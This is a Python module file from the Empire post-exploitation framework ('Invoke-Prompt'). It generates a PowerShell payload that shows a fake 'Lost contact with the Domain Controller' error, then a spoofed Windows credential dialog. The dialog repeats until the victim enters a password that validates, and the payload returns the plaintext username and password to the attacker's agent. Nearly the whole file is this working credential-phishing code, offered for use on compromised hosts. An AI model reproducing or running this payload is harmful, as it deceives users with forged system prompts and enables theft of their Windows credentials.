Empire/lib/modules/collection/prompt.py

122 lines
4.4 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Prompt',
'Author': ['greg.fossk', '@harmj0y', '@enigma0x3'],
'Description': ("Prompts the current user to enter their credentials "
"in a forms box and returns the results."),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'MinPSVersion' : '2',
'Comments': [
'http://blog.logrhythm.com/security/do-you-trust-your-computer/'
'https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'MsgText' : {
'Description' : 'Message text to display if not waiting for a process create.',
'Required' : True,
'Value' : 'Lost contact with the Domain Controller.'
},
'IconType' : {
'Description' : 'Critical, Question, Exclamation, or Information',
'Required' : True,
'Value' : 'Critical'
},
'Title' : {
'Description' : 'Title of the message box to display if not waiting for a process create.',
'Required' : True,
'Value' : 'ERROR - 0xA801B720'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
script = """
# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
# POC from greg.foss[at]owasp.org
# @enigma0x3
function Invoke-Prompt {
[CmdletBinding()]
Param (
[Switch] $ProcCreateWait,
[String] $MsgText = 'Lost contact with the Domain Controller.',
[String] $IconType = 'Critical',
[String] $Title = 'ERROR - 0xA801B720'
)
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
if($MsgText -and $($MsgText -ne '')){
$null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
}
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
if($credential){
while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
$credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
}
"[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
}
else{
"[!] User closed credential prompt"
}
}
Invoke-Prompt """
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
return script